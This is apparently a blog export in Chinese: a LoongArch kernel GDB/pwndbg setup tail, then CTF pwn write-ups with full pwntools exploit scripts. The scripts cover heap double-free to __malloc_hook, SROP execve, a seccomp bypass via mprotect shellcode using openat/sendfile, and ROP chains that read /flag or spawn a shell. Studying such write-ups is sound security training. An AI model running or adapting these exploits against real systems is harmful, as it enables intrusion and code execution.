\u0026#39;./2k1000/u-boot-with-spl.bin\u0026#39; and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the \u0026#39;raw\u0026#39; format explicitly to remove the restrictions. WARNING: Image format was not specified for \u0026#39;./2k1000/boot.img\u0026#39; and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the \u0026#39;raw\u0026#39; format explicitly to remove the restrictions. WARNING: Image format was not specified for \u0026#39;./2k1000/rootfs.img\u0026#39; and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the \u0026#39;raw\u0026#39; format explicitly to remove the restrictions. hda-duplex: hda_audio_init: cad 0 audio: Could not init `oss\u0026#39; audio driver ram=0x5b6b62b90700 length=852992 must be 16777216 bytes,run command: trucate -s 16777216 file to resize file oobsize = 64 qemu-system-loongarch64: warning: nic pci-synopgmac.1 has no peer qemu-system-loongarch64: warning: nic e1000e.0 has no peer hda-duplex: hda_audio_reset hda-duplex: hda_audio_reset intel-hda: intel_hda_update_irq: level 0 [intx] 此时kernel已经运行，等待gdb连接上来（阅读lorunqemugdb脚本会知道qemu对gdb暴露在3456端口上）\n我们回到刚刚的GDB shell中，运行如下命令：\ntarget remote localhost:3456 此时能成功连接上。\n到这一步，已经能够使用GDB对kernel进行调试\n用惯pwndbg的我无法忍受原生GDB 旧版pwndbg不支持loongarch 然而新版pwndbg已经支持\n进入你的用户目录~\ngit clone https://github.com/pwndbg/pwndbg.git cd pwndbg ./setup.sh 另外，发现pwngdb中关于loongarch64的寄存器约定不符合实际，可以对其做出修改：\n在pwndbg/lib/regs.py中找到如下代码：\nloongarch64 = RegisterSet( pc=Reg(\u0026#34;pc\u0026#34;), stack=Reg(\u0026#34;sp\u0026#34;), frame=Reg(\u0026#34;fp\u0026#34;), retaddr=(Reg(\u0026#34;ra\u0026#34;),), gpr=( Reg(\u0026#34;a0\u0026#34;), Reg(\u0026#34;a1\u0026#34;), Reg(\u0026#34;a2\u0026#34;), Reg(\u0026#34;a3\u0026#34;), Reg(\u0026#34;a4\u0026#34;), Reg(\u0026#34;a5\u0026#34;), Reg(\u0026#34;a6\u0026#34;), Reg(\u0026#34;a7\u0026#34;), Reg(\u0026#34;t0\u0026#34;), Reg(\u0026#34;t1\u0026#34;), Reg(\u0026#34;t2\u0026#34;), Reg(\u0026#34;t3\u0026#34;), Reg(\u0026#34;t4\u0026#34;), Reg(\u0026#34;t5\u0026#34;), Reg(\u0026#34;t6\u0026#34;), Reg(\u0026#34;t7\u0026#34;), Reg(\u0026#34;t8\u0026#34;), Reg(\u0026#34;s0\u0026#34;), Reg(\u0026#34;s1\u0026#34;), Reg(\u0026#34;s2\u0026#34;), Reg(\u0026#34;s3\u0026#34;), Reg(\u0026#34;s4\u0026#34;), Reg(\u0026#34;s5\u0026#34;), Reg(\u0026#34;s6\u0026#34;), Reg(\u0026#34;s7\u0026#34;), Reg(\u0026#34;s8\u0026#34;), ), args=( \u0026#34;a0\u0026#34;, \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, ), # r21 stores \u0026#34;percpu base address\u0026#34;, referred to as \u0026#34;u0\u0026#34; in the kernel misc=(\u0026#34;tp\u0026#34;, \u0026#34;r21\u0026#34;), ) 将其替换为：\nloongarch64 = RegisterSet( pc=Reg(\u0026#34;pc\u0026#34;), stack=Reg(\u0026#34;sp\u0026#34;), frame=Reg(\u0026#34;fp\u0026#34;), retaddr=(Reg(\u0026#34;ra\u0026#34;),), gpr=( Reg(\u0026#34;r0\u0026#34;), # $zero Reg(\u0026#34;r1\u0026#34;), # $ra Reg(\u0026#34;r2\u0026#34;), # $tp Reg(\u0026#34;r3\u0026#34;), # $sp Reg(\u0026#34;r4\u0026#34;), # $a0 Reg(\u0026#34;r5\u0026#34;), # $a1 Reg(\u0026#34;r6\u0026#34;), # $a2 Reg(\u0026#34;r7\u0026#34;), # $a3 Reg(\u0026#34;r8\u0026#34;), # $a4 Reg(\u0026#34;r9\u0026#34;), # $a5 Reg(\u0026#34;r10\u0026#34;), # $a6 Reg(\u0026#34;r11\u0026#34;), # $a7 Reg(\u0026#34;r12\u0026#34;), # $t0 Reg(\u0026#34;r13\u0026#34;), # $t1 Reg(\u0026#34;r14\u0026#34;), # $t2 Reg(\u0026#34;r15\u0026#34;), # $t3 Reg(\u0026#34;r16\u0026#34;), # $t4 Reg(\u0026#34;r17\u0026#34;), # $t5 Reg(\u0026#34;r18\u0026#34;), # $t6 Reg(\u0026#34;r19\u0026#34;), # $t7 Reg(\u0026#34;r20\u0026#34;), # $t8 Reg(\u0026#34;r21\u0026#34;), # $u0 Reg(\u0026#34;r22\u0026#34;), # $fp Reg(\u0026#34;r23\u0026#34;), # $s0 Reg(\u0026#34;r24\u0026#34;), # $s1 Reg(\u0026#34;r25\u0026#34;), # $s2 Reg(\u0026#34;r26\u0026#34;), # $s3 Reg(\u0026#34;r27\u0026#34;), # $s4 Reg(\u0026#34;r28\u0026#34;), # $s5 Reg(\u0026#34;r29\u0026#34;), # $s6 Reg(\u0026#34;r30\u0026#34;), # $s7 Reg(\u0026#34;r31\u0026#34;), # $s8 ), args=( \u0026#34;a0\u0026#34;, \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, ), # r21 stores \u0026#34;percpu base address\u0026#34;, referred to as \u0026#34;u0\u0026#34; in the kernel misc=(\u0026#34;tp\u0026#34;, \u0026#34;u0\u0026#34;), ) ","date":"2025-04-30","draft":false,"permalink":"/posts/gdb-for-loongarch-%E8%B0%83%E8%AF%95%E6%8C%87%E5%8D%97/","section":"工具与方法","summary":"打开kernel调试选项 在loos-lab-2025目录下运行命令 进入kernel编译菜单，Enable Debugging Output，然后保存退出 进入下一步 GDB 不能使用原生GDB，也不能使用g…","tags":[],"title":"GDB for LoongArch 调试指南"},{"content":"主要是些当时没做出来或者忙着陪对象打泰拉瑞亚没空看的题\nheap 没有show()，需要想办法泄露libc地址\n最开始我想的是既然没有show，可以想办法打stdout泄露libc，但是该方法需要将unsorted bin中的main_arena+88通过overlap进入到fastbin中，由于这道题只有UAF，我没想到怎么能够实现\n后来想能不能通过double free劫持got表通过改free为puts来泄露libc，但是由于fastbin malloc对size的检查（got表前没有自然生成的可用size）于是作罢\n真正的解法是利用程序提供的对name的打印泄露libc\n想了想我做堆题还是太刻板经验太少，以至于这样一道简单的堆题都没能打掉。注意到对name的打印本应是常规操作。\n通过修改chunk size将其free进unsorted bin中我也没能想到，复现的过程也踩了一些坑。\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;\\n\u0026#34; gdb_script += \u0026#34;b *0x000000000040089e\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;node1.tgctf.woooo.tech\u0026#34; port = 30526 global io, gdb_io elf = ELF(binary_path) libc = ELF(\u0026#34;libc.so.6\u0026#34;) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def new(size, content): io.sendlineafter(b\u0026#39;exit\u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;size?\u0026#39;, str(size)) io.sendafter(b\u0026#39;else?\u0026#39;, content) io.recvuntil(b\u0026#39;good!\\n\u0026#39;) def delete(index): io.sendlineafter(b\u0026#39;exit\u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;Do you want delete?\u0026#39;, str(index)) io.recvuntil(b\u0026#39;finish\\n\u0026#39;) def change(content): io.sendlineafter(b\u0026#39;exit\u0026#39;, b\u0026#39;3\u0026#39;) io.sendafter(b\u0026#34;your name\u0026#34;, content) def attack(io): name = 0x6020c0 payload = p64(0) + p64(0x31) + b\u0026#39;\\x00\u0026#39;*0x80 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x21) #在name处伪造堆块 free()会检查nextchunk的nextsize，也要做好伪造 #这一次free跟以前做的题不同之处在于：size大于fast_max_size，所以会向上向下合并。fakechunk自身size0x1避免向上合并，nextchunk的nextchunksize0x1避免向下合并 #所以不仅要伪造nextchunk，还要伪造好nextchunk的nextchunk，否则会报错 io.sendlineafter(\u0026#34;What\u0026#39;s your name?\u0026#34;, payload) new(0x20, cyclic(0x20)) #0 new(0x20, cyclic(0x20)) #1 new(0x20, cyclic(0x20)) #2 防合并 delete(0) #double free delete(1) delete(0) new(0x20, p64(name)) #3 new(0x20,cyclic(0x20)) #4 new(0x20, p64(name)) #5 new(0x20, cyclic(0x20)) #6 change(p64(0) + p64(0x91)) delete(6) change(b\u0026#34;A\u0026#34;*0x10) io.recvuntil(b\u0026#34;Ah, right! nice to see you \u0026#34;+b\u0026#39;A\u0026#39;*0x10) leak_addr = u64(io.recv(6).ljust(8, b\u0026#34;\\x00\u0026#34;)) log.success(\u0026#34;leak_addr: \u0026#34; + hex(leak_addr)) malloc_hook = leak_addr - 0x68 libc_base = malloc_hook - libc.sym[\u0026#34;__malloc_hook\u0026#34;] ogg = libc_base + 0x4527a change(p64(0)+p64(0x61)) new(0x60, cyclic(0x60)) #7 #修改fakechunk的size，重新malloc回来，使其不影响到后续攻击 #否则会报错malloc():memory corruption #应该是该chunk依然在unsorted bin中，后续申请chunk时会检索该堆块进行切割，但是其size头被我们破坏于是报错 new(0x60, cyclic(0x60))#8 new(0x60, cyclic(0x60))#9 new(0x60, cyclic(0x60))#10 防合并 delete(8) delete(9) delete(8) new(0x60, p64(malloc_hook-0x23)) new(0x60, cyclic(0x60))#10 new(0x60, p64(malloc_hook-0x23))#11 new(0x60, b\u0026#39;\\x11\u0026#39;*0x13 + p64(ogg))#12 new(0x20,cyclic(0x20)) #trigger malloc io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(True, True, False) attack(io) noret JOP + SROP\n此处可对比setcontext的类SROP利用：\n正宗的SROP：不需要泄露Libc，但是要能够设置rax为0xf调用sys_sigreturn setcontext SROP：需要泄露libc从而劫持到setcontext 共性是都需要大容量栈空间，如SROP的sigframe就有0xf8大小\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;\\n\u0026#34; gdb_script += \u0026#34;b *0x4010e0\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;\u0026#34; port = 0 global io, gdb_io elf = ELF(binary_path) #libc = ELF(\u0026#34;\u0026#34;) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def attack(io): payload = p8(0x32) + p64(0x4010cb) + p32(0x40219c) io.sendafter(\u0026#34;\u0026gt;\u0026#34;, payload) pop_rsp_rdi_rcx_rdx_jmp_rdi_1 = 0x40100f pop_rdi_rcx_rdx_jmp_rdi_1 = 0x401010 add_rax_rdx_jmp_rcx = 0x401024 syscall = 0x4010e0 payload = flat( p64(pop_rsp_rdi_rcx_rdx_jmp_rdi_1), #先做一个栈迁移到已知位置 p64(0x40219c+9), #rsp p64(0x0), #rdi p64(0x0), #rcx p64(0x0), #rdx ) payload = cyclic(0x108-0x8) + payload io.sendlineafter(\u0026#34;Submit your feedback\u0026#34;, payload) pause() base = 0x4020bd+0x100 bin_sh = base+0x8*8 sigFrame = SigreturnFrame() sigFrame.rax = 59 sigFrame.rdi = bin_sh sigFrame.rsi = 0 sigFrame.rdx = 0 sigFrame.rip = syscall payload = flat( p64(base+0x8*5-1), #rdi syscall p64(0), #rcx p64(0), #rdx ) payload += bytes(sigFrame)[0:0xe8] payload += flat( p64(pop_rdi_rcx_rdx_jmp_rdi_1), p64(base+0x8*6-1), #rdi p64(base+0x8*7), #rcx p64(0xFFFFFFFFFFFFFFF2), #rdx p64(0x4020bd), #rsp #data p64(syscall), p64(add_rax_rdx_jmp_rcx), p64(pop_rsp_rdi_rcx_rdx_jmp_rdi_1), b\u0026#39;/bin/sh\\x00\u0026#39; ) io.sendline(payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(True, True, False) attack(io) ","date":"2025-04-30","draft":false,"permalink":"/posts/tgctf2025-pwn%E9%83%A8%E5%88%86%E5%A4%8D%E7%8E%B0/","section":"CTF 复现","summary":"主要是些当时没做出来或者忙着陪对象打泰拉瑞亚没空看的题 heap 没有show()，需要想办法泄露libc地址 最开始我想的是既然没有show，可以想办法打stdout泄露libc，但是该方法需要将unsort…","tags":[],"title":"TGCTF2025 PWN部分复现"},{"content":"最近时间真的不太够用，所以WP出来后第一时间赶紧复现。\n这次比赛还是遇到很多不会的题，总结来说还是刷题刷少了，不是想不到，而是根本没遇到过；感觉在我知识范围内的还是都能做。\n为什么说是部分复现呢？因为不想碰mips pwn和protobuf\n每天早上起来对着空气挥一拳，只因为不想做xxx！\n另外提一嘴，得益于这次比赛的前几道题都给的是dockerfile，现在我的docker已经使用的比较熟练了（\nRet2libc\u0026rsquo;s Revenge 显然存在栈溢出，但是由于这道题的读取字符方式不太常见，有控制读取字符的参数在栈上，因此溢出的时候要多调几遍\n可以在elf中找到mov rdi, rsi，另外能找到控制rsi的gadgets，于是得以泄露libc\n但是泄露的时候要注意，这道题开启了输出全缓冲，因此要多来几遍把缓冲区打满，才能输出泄露的地址。\n本地缓冲区与远程长度好像不太一样，打远程的缓冲区长度还是得多试试\n泄露libc之后，剩下就是比较常规的做法了\nfrom pwn import * from LibcSearcher import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./attachment\u0026#39; gdb_script = \u0026#34;b *0x401180\\n\u0026#34; #gdb_script += \u0026#34;b *0x401261\\n\u0026#34; #gdb_script += \u0026#34;b main\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;47.94.217.82\u0026#34; port = 34918 global io, gdb_io elf = ELF(binary_path) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def attack(io): puts_plt = elf.plt[\u0026#39;puts\u0026#39;] payload = cyclic(0x210) + p64(1) io.send(payload) io.send(b\u0026#39;\\x01\u0026#39;) io.send(b\u0026#39;\\x02\u0026#39;) io.send(b\u0026#39;\\x03\u0026#39;) io.send(b\u0026#39;\\x04\u0026#39;) io.send(b\u0026#39;\\x1d\u0026#39;) io.send(b\u0026#39;\\x02\u0026#39;) io.send(b\u0026#39;\\x00\\x00\u0026#39;) rbp = 0x400648 - 0x20 io.send(p64(rbp)) gadget1 = 0x4010ea #add rsi gadget2 = 0x401180 #mov rdi, rsi pop_rbp = 0x4011f8 #顺便清除rax and_rsi = 0x4010e0 bss = 0x404500 main = elf.symbols[\u0026#39;main\u0026#39;] set_rdi = p64(and_rsi) + p64(gadget1) + p64(gadget2) payload = set_rdi payload += p64(pop_rbp) + p64(bss) + p64(puts_plt) payload += p64(main) * 0xd7 io.sendline(payload) for i in range(0xd6): io.send(b\u0026#34;\\n\u0026#34;) log.info(\u0026#34;第{0}次\u0026#34;.format(i+1)) io.recvuntil(b\u0026#34;Ret2libc\u0026#39;s Revenge\\n\u0026#34;) addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) print(hex(addr)) libc_base = addr - libc.symbols[\u0026#39;setvbuf\u0026#39;] payload = cyclic(0x210) + p64(1) io.send(payload) io.send(b\u0026#39;\\x01\u0026#39;) io.send(b\u0026#39;\\x02\u0026#39;) io.send(b\u0026#39;\\x03\u0026#39;) io.send(b\u0026#39;\\x04\u0026#39;) io.send(b\u0026#39;\\x1d\u0026#39;) io.send(b\u0026#39;\\x02\u0026#39;) io.send(b\u0026#39;\\x00\\x00\u0026#39;) io.send(p64(bss)) pop_rdi = libc_base + 0x2a3e5 ret = libc_base + 0x2db7d bin_sh = libc_base + libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;).__next__() system = libc_base + libc.sym[\u0026#39;system\u0026#39;] payload = p64(gadget2) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system) io.sendline(payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: while True: #因为打远程有概率一次打不通，所以写个循环多打几遍 try: io = connect(False, True, False) attack(io) except Exception as e: continue 刷新缓冲区：fflush、打满缓冲区、重新调用setvbuf\n除此之外有师傅发现了通过打fgetc和IO的方式刷新缓冲区，由于我对IO利用还不太熟练，于是插个眼，半个月后再回来看。\ngirlfriend 有fmt，一次就能泄露libc、canary以及pie，剩下绕过沙盒理应很简单，但是我做题的时候根本没有Libc文件，找也找不到，于是作罢\n中间很多次怀疑是不是根本用不到libc，而是用其他的方式打沙盒 甚至开始去找CVE，所以到最后这道送分题都没做出来\n赛后从 heshi 师傅那里学到一招：使用strings查看elf文件编译环境，从编译环境推测libc版本。\n~/p/X/girlfriend ❯❯❯ strings ./pwn | grep GCC GCC: (Ubuntu 10.5.0-1ubuntu1~22.04) 10.5.0 从Ubuntu 22.04可以确定大致的libc版本，由于题是这段时间出的，所以直接找22.04最新的修订版libc就行\n后面绕过seccomp就简单了，我习惯的是打mprotect + shellcode\nfrom pwn import * from LibcSearcher import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) local = 1 binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;\\n\u0026#34; gdb_script += \u0026#34;b *$rebase(0x1676)\\n\u0026#34; #gdb_script += \u0026#34;b *$rebase(0x1708)\\n\u0026#34; #gdb_script += \u0026#34;b *$rebase(0x15c9)\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;gz.imxbt.cn\u0026#34; port = 20110 global io, gdb_io elf = ELF(binary_path) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def attack(io): io.sendafter(b\u0026#34;Choice:\u0026#34;, str(3)) fmt = \u0026#34;%7$p%3$p%15$p\u0026#34; io.sendafter(b\u0026#34;You should tell her your name first\\n\u0026#34;, fmt) io.recvuntil(b\u0026#34;your name:\\n\u0026#34;) leak_pie_addr = eval(io.recv(14)) leak_write_addr = eval(io.recv(14)) - 23 canary = eval(io.recv(18)) pie = leak_pie_addr - (0x5fab223318d9-0x5fab22330000) log.success(f\u0026#34;Pie: {hex(pie)}\u0026#34;) log.success(f\u0026#34;write: {hex(leak_write_addr)}\u0026#34;) log.success(f\u0026#34;canary: {hex(canary)}\u0026#34;) libc_base = leak_write_addr - libc.sym[\u0026#39;write\u0026#39;] print(hex(libc_base)) pop_rdi = libc_base + libc.search(asm(\u0026#39;pop rdi ; ret\u0026#39;)).__next__() log.success(f\u0026#34;pop_rdi: {hex(pop_rdi)}\u0026#34;) pop_rsi = libc_base + libc.search(asm(\u0026#39;pop rsi ; ret\u0026#39;)).__next__() log.success(f\u0026#34;pop_rsi: {hex(pop_rsi)}\u0026#34;) pop_rdx = libc_base + 0x904a9 log.success(f\u0026#34;pop_rdx: {hex(pop_rdx)}\u0026#34;) shellcode_start = pie + 0x4500 mprotect = libc_base + libc.sym[\u0026#39;mprotect\u0026#39;] read = libc_base + libc.sym[\u0026#39;read\u0026#39;] pop_rbx = libc_base + 0x35dd1 io.sendafter(b\u0026#34;Choice:\u0026#34;, str(3)) new_rbp = pie+0x4300 payload = p64(new_rbp) payload += p64(pop_rdi) + p64((shellcode_start\u0026gt;\u0026gt;12)\u0026lt;\u0026lt;12) payload += p64(pop_rsi) + p64(0x1000) payload += p64(pop_rbx) + p64(0) payload += p64(pop_rdx) + p64(7) payload += p64(0) payload += p64(mprotect) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(shellcode_start) payload += p64(pop_rdx) + p64(0x1000) payload += p64(0) payload += p64(read) payload += p64(shellcode_start) io.sendafter(b\u0026#34;You should tell her your name first\\n\u0026#34;, payload) io.recvuntil(b\u0026#34;Good luck!\\n\u0026#34;) #prepare before stack leave_ret io.sendafter(b\u0026#34;Choice:\u0026#34;, str(1)) leave_ret = pie + 0x14f4 payload = cyclic(0x38) + p64(canary) + p64(pie+0x4060) + p64(leave_ret) io.sendafter(b\u0026#34;what do you want to say to her?\u0026#34;, payload) #leave_ret io.recvuntil(b\u0026#34;but she left.........\\n\u0026#34;) shellcode = \u0026#34;\u0026#34;\u0026#34; mov rbx,0x67616C662F; push rbx; mov rsi,rsp; push 0; pop rdi; push 0; pop rdx; push 257; pop rax; syscall; mov rdi,1; mov rsi,3; mov rdx,0; mov r10,0x100; mov rax,40; syscall; \u0026#34;\u0026#34;\u0026#34; io.sendline(asm(shellcode)) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(False, True, False) attack(io) 总结\n绕过open使用openat 绕过read/write使用sendfile，注意sendfile的count参数使用寄存器r10 明日方舟寻访模拟器 随机数很吓人，但是文件里有system函数也有gadget和栈溢出，能够通过控制bss上的抽卡次数变量构造sh字符串，然后拿shell，所以其实与随机数无关\nfrom pwn import * from LibcSearcher import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./pwn\u0026#39; gdb_script = \u0026#34;b *0x401877\\n\u0026#34; gdb_script += \u0026#34;b *0x4018e5\\n\u0026#34; gdb_script += \u0026#34;set detach-on-fork off\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;47.93.96.189\u0026#34; port = 32834 global io, gdb_io elf = ELF(binary_path) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) gdb.attach(io,gdb_script) return io def employ(number): io.recvuntil(\u0026#34;请选择：\u0026#34;) io.sendline(str(3)) io.recvuntil(\u0026#34;请输入寻访次数\u0026#34;) io.sendline(str(number)) io.sendline(\u0026#34;\u0026#34;) def attack(io): io.recvuntil(\u0026#34;欢迎使用明日方舟寻访模拟器！祝你好运~\u0026#34;) io.sendline(\u0026#34;\u0026#34;) for i in range(6): employ(0x1000) employ(0x873) io.sendline(str(4)) io.sendline(str(1)) pop_rdi = 0x4018e5 ret = 0x40101a payload = cyclic(0x48) + p64(pop_rdi) + p64(0x405BCC) + p64(0x4018fc) io.sendlineafter(\u0026#34;名字\u0026#34;, payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(False, False, False) attack(io) 看别人的wp说是能打栈迁移？\nweb苦手 一道webpwn，首先是要想办法绕过对注册密码和登陆密码的比对：\n我的做法是基于对密钥的加密算法为PBKDF2，盐值、生成密钥长度已知且迭代次数只有一次，在网上能够找到通过两串长度不同的密钥碰撞成同一个密钥的绕过方法（以及绕过的原理就是由于HMAC在大于64bytes和小于64bytes时的处理方法不同，题目里也对64bytes做了明确的划分，因此让我坚定了这样做的决心）\n看别人WP说是能够进行\\x00截断，我确实也考虑过这个方向，但是了解到加密算法能够直接破解就没管了\n后续就是由于文件名后缀的.dat无法绕过，卡了一会儿，但是试了/../../../flag莫名其妙就出了\n后续知道，是因为snprintf函数限定了size，超过size的字符串会被截断，于是.dat后缀被截断掉了\n奶龙回家 这道题那真是纯纯的复现\n奶龙上楼的层数（即程序给我们的执行次数）存在整数溢出，输入-1即可无限次执行（因为这里有一次看起来“毫无意义”的赋值，但实际上是从int转成unsigned int）\n也有wp里是先计算出rbp精确位置直接改局部变量的\n打法1 retsled 与nopsled类似，nopsled通过不断执行nop滑向目标shellcode，而retsled通过不断执行ret滑向目标ROP链\n这种打法的好处就是不打随机数，但缺点是对栈有要求，如果ROP链太长可能会覆盖关键数据导致程序崩溃\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./nailong\u0026#39; gdb_script = \u0026#34;\u0026#34; #gdb_script += \u0026#34;b *0x401A1E\\n\u0026#34; #b switch #gdb_script += \u0026#34;catch syscall execve\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;gz.imxbt.cn\u0026#34; port = 20633 global io,gdb_io elf = ELF(binary_path) libc = ELF(\u0026#34;./libc\u0026#34;) def connect(isLocal,isGDB,isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid,gdb_io) = gdb.attach(io,gdb_script,api=True) return io,gdb_io else: io = gdb.debug(binary_path,gdb_script) return io else: io = process(binary_path) return io def leak(addr): io.sendlineafter(\u0026#34;chose\u0026#34;, str(1)) io.sendlineafter(\u0026#34;what you want do?\\n\u0026#34;, str(addr)) addr = u64(io.recv(6).ljust(8, b\u0026#34;\\x00\u0026#34;)) log.success(f\u0026#34;leak_setvbuf:{hex(addr)}\u0026#34;) return addr def edit(addr, data): io.sendlineafter(\u0026#34;chose\u0026#34;, str(2)) io.sendlineafter(\u0026#34;what you want do?\\n\u0026#34;, str(addr)) io.sendafter(\u0026#34;read you want\u0026#34;, data) def write_addr(target, addr): edit(target, p32(addr\u0026amp;0xFFFFFFFF)) edit(target+4, p32(addr\u0026gt;\u0026gt;32)) def attack(io): io.recvuntil(\u0026#34;rbp + offset:\u0026#34;) addr = eval(io.recvline()[:-4]) log.success(f\u0026#34;leak_addr:{hex(addr)}\u0026#34;) io.sendline(str(-1)) #change to 0xffffffff setvbuf_addr = leak(elf.got[\u0026#39;setvbuf\u0026#39;]) #leak libc libc_base = setvbuf_addr - libc.symbols[\u0026#39;setvbuf\u0026#39;] #edit(elf.got[\u0026#39;sleep\u0026#39;], p16(0x101a)) #修改sleep为ret使其通过seccomp write_addr(elf.got[\u0026#39;sleep\u0026#39;], 0x40101a) ret = 0x40101a retsled_start = ((addr - 0x200) \u0026gt;\u0026gt; 4) \u0026lt;\u0026lt; 4#由于泄露范围在0x50-0x200，直接选取-0x200最为稳妥 target = retsled_start log.success(f\u0026#34;target:{hex(target)}\u0026#34;) for i in range(0x50): write_addr(target, ret) target = target + 8 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_pop_rbx = libc_base + 0x904a9 open = libc_base + libc.symbols[\u0026#39;open\u0026#39;] read = libc_base + libc.symbols[\u0026#39;read\u0026#39;] write = libc_base + libc.symbols[\u0026#39;write\u0026#39;] flag_addr = 0x404200 buf_addr = (retsled_start\u0026gt;\u0026gt;12)\u0026lt;\u0026lt;12 pathname = flag_addr #要对其进行引用 flag = 0 #构造ROP链 #open():rdi=\u0026#39;/flag\u0026#39;地址,rsi=0 #read():rdi=3,rsi=addr,rdx=len #write():rdi=1,rsi=addr,rdx=len ROP = [ pop_rdi, pathname, #pathname pop_rsi, flag, #flag open, #call open pop_rdi, 3, #fd pop_rsi, buf_addr, #buf pop_rdx_pop_rbx, 0x100,#len 0, read,#call read pop_rdi, 1, pop_rsi, buf_addr, pop_rdx_pop_rbx, 0x100, 0, write, ] write_addr(flag_addr,int.from_bytes(b\u0026#34;/flag\\x00\u0026#34;, \u0026#39;little\u0026#39;)) #flag地址 for i in ROP: write_addr(target, i) target = target + 8 pause() edit(elf.got[\u0026#39;nanosleep\u0026#39;], p16(0x101a)) edit(elf.got[\u0026#39;exit\u0026#39;], p16(0x1646)) #执行ROP链 io.sendlineafter(\u0026#34;chose\u0026#34;, str(4)) pause() io.interactive() if __name__ == \u0026#34;__main__\u0026#34;: io = connect(False,True,False) attack(io) 奶龙回家是滑回家的？\n总结\n劫持got不一定要劫持为函数，也可以劫持为gadget 将函数got劫持为ret，其效果等于直接执行下一条指令 leave, ret不一定用来栈迁移，也可以用来快速定位rbp 打法2 随机数预测 2025XYCTF|NPUSEC\n假设我们没有想到用整数溢出修改局部变量，那么就只能打这种办法：\nv3 = time(0LL); srand(v3); LODWORD(v19) = rand() % 0x1B0 + 0x50; 由于此处的随机数是用time()作为种子生成的，所以在打远程时在本地运行同一个patch过的elf，它们生成的随机数大概率是相同的，以此泄露出真实rbp，直接修改局部变量\n后续再利用无限次修改往栈上写ROP链，再修改局部变量，跳出循环，待程序自然返回即可\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;,log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./nailong\u0026#39; gdb_script = \u0026#34;\u0026#34; gdb_script += \u0026#34;b *0x401A1E\\n\u0026#34; #b switch #gdb_script += 